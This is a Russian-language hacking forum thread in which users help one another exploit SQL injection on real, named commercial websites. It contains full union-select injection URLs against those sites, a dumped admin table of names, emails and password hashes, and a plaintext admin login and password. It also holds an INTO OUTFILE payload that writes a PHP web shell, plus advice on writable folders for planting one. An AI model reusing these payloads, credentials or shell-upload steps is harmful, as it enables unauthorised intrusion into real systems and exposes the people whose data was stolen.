hxxp://www.enzymedica.com/locator/results_list.php?zip=1' помогите расскрутить чучуть. а то не могу чето лимит =\

http://www.enzymedica.com/locator/results_list.php?zip=-1%27+union+select+1,version%28%29,user%28%29,datab ase%28%29,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4, 5+--+

admins

name:emailassword

[0]:KimJackson:kimjackson@enzymedica.com:c4666c6c7871 92575aded2c73d27278a

[1]:Enzymedicarders@enzymedica.com:655ef9fec684d34335 1ee72dbeb95dd6

[2]:Kim Barton:kim@enzymedica.com:655ef9fec684d343351ee72d beb95dd6

[3]:Admin Arearder@enzymedica.com:e69dc2c09e8da6259422d987cc be95b5

[4]:cornerstone:julianna@cornerstone1.com:f326e2c3453 cf64cdb979e1c8d53293d

[5]:WebTent:support@webtent.com:e1197bbf2f07992aa7936 c49d3b41319

Gorev спасибо.

Тут вот другой вопрос возник

при запросе :

http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),5, 6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+infor mation_schema.tables+--+

Мне выдает какую то будылыгу = \

Service Temporarily Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

При таком запросе:

http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,table_name,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5+from+information_schema.table s+limit+0,1+--+

Странно. Мб кто нибудь знает почему не выводит названия таблиц?

http://www.enzymedica.com/locator/results_list.php?zip=1%27+UNION+SELECT+1,AES_DECRY PT%28AES_ENCRYPT%28CONCAT%28%28SELECT+TABLE_NAME+F ROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1%29%29,0x71 %29,0x71%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25--%20+

А какую инъекцию составляешь?

Вот так не работает?



http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27%27,3,4,5+from+mysql.u ser+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27

И шелл должен быть тут

http://www.eurotur.com.ar/php/newdesign/nacional/1.php

Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.

http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+i nformation_schema./*!tables*/+--+

И вообще..

где столбцы 3,4 потерял? =)

Да не доступна

Всем огромный респект за помощь со скулей)

тут другой вопрос пожоще = )

как залить шел?)

Есть полный доступ к админке)

https://enzymedica.com/admin/

login: order@enzymedica.com

pass: asdqwe123

В админке я нашол только залитие картинок = ) php не пропускает = \

очень нужно взять пару php файлов оттуда = \

Попробуй в эти папки записать:

/html/images/

/php/

/php/newdesign/receptivo/

/php/newdesign/receptivo/ingles/

/manual/ - тут можешь визуально посмотреть

/html/